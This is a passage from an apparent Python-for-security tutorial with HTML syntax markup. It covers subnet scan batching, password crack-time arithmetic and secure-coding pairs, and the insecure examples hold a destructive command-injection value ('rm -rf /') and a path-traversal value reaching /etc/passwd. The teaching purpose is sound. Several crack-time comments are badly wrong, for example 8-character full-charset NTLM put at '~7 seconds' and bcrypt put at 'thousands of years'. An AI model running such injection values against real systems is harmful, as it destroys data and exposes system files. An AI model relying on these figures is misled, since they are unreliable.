    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;all_targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_targets&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;scan_batch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                  &lt;span class="c1"&gt;# Scan 25 hosts at a time
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 Time Complexity — Why It Matters for Bruteforce
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Understanding time complexity determines if an attack is practical
&lt;/span&gt;
&lt;span class="c1"&gt;# Character sets
&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
&lt;span class="n"&gt;uppercase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
&lt;span class="n"&gt;digits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="n"&gt;special&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lowercase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;uppercase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;digits&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;special&lt;/span&gt;  &lt;span class="c1"&gt;# 94
&lt;/span&gt;
&lt;span class="c1"&gt;# Password space calculation
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;password_space&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;charset_size&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;

&lt;span class="c1"&gt;# How many passwords in a 8-character lowercase password space?
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;password_space&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;   &lt;span class="c1"&gt;# 208,827,064,576 (~208 billion)
&lt;/span&gt;
&lt;span class="c1"&gt;# At hashcat speed for NTLM (360 billion/second on RTX 4090):
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashes_per_second&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;password_space&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;hashes_per_second&lt;/span&gt;

&lt;span class="n"&gt;speed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;360_000_000_000&lt;/span&gt;  &lt;span class="c1"&gt;# NTLM on RTX 4090
&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8 lowercase chars, NTLM: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; seconds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# &amp;lt; 1 second!
&lt;/span&gt;
&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8 full charset, NTLM: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; seconds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# ~7 seconds
&lt;/span&gt;
&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;hours&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;
&lt;span class="n"&gt;years&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hours&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;8760&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;12 full charset, NTLM: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;years&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; years&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# ~millions of years
&lt;/span&gt;
&lt;span class="c1"&gt;# This is exactly why password length matters more than complexity
# And why bcrypt/Argon2 are used (they slow the hashing down by factor of 100,000+)
&lt;/span&gt;&lt;span class="n"&gt;bcrypt_speed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100_000&lt;/span&gt;  &lt;span class="c1"&gt;# bcrypt cost 12
&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bcrypt_speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;years&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;365.25&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8 lowercase chars, bcrypt: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;years&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; years&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Thousands of years
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Security-Oriented Programming Mindset
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Think Like an Attacker When You Read Code
&lt;/h3&gt;

&lt;p&gt;Every time you read code — whether it is someone else's application, a CTF challenge, or a piece of malware — ask these questions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where does user input come from?&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;input()&lt;/code&gt;, command-line arguments, environment variables, file reads, network data, database results — any of these can be attacker-controlled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where does that input go?&lt;/strong&gt;&lt;br&gt;
If input goes into a SQL query without sanitisation → SQL injection.&lt;br&gt;
If input goes into a shell command → command injection.&lt;br&gt;
If input goes into a file path → path traversal.&lt;br&gt;
If input goes into a buffer without length check → buffer overflow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the trust boundaries?&lt;/strong&gt;&lt;br&gt;
Which parts of the code run with elevated privilege? What can unprivileged input affect?&lt;/p&gt;
&lt;h3&gt;
  
  
  10.2 Writing Secure Code — The Basics
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# INSECURE: Command injection vulnerability
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ping_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# NEVER DO THIS — if hostname = "google.com; rm -rf /"
&lt;/span&gt;    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping -c 1 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# SECURE: Use subprocess with list arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ping_host_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Input validation first
&lt;/span&gt;    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;^[a-zA-Z0-9.-]+$&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid hostname: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# subprocess with list — no shell interpretation
&lt;/span&gt;    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;returncode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;# INSECURE: Path traversal vulnerability
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# If filename = "../../../../etc/passwd"
&lt;/span&gt;    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/www/files/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# SECURE: Validate and resolve path
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_file_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;base_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/www/files&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;file_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c1"&gt;# Check that resolved path is still inside base directory
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_dir&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Path traversal attempt detected&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# INSECURE: Hardcoded credentials
&lt;/span&gt;&lt;span class="n"&gt;DATABASE_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;supersecret123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# Never do this
&lt;/span&gt;
&lt;span class="c1"&gt;# SECURE: Use environment variables
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;DATABASE_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;DATABASE_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DB_PASSWORD environment variable not set&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  10.3 Writing Reliable Security Scripts
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="c1"&gt;# Professional script structure
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;setup_logging&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEBUG&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;
    &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basicConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%(asctime)s [%(levelname)s] %(message)s&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;handlers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;FileHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%Y%m%d_%H%M%S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
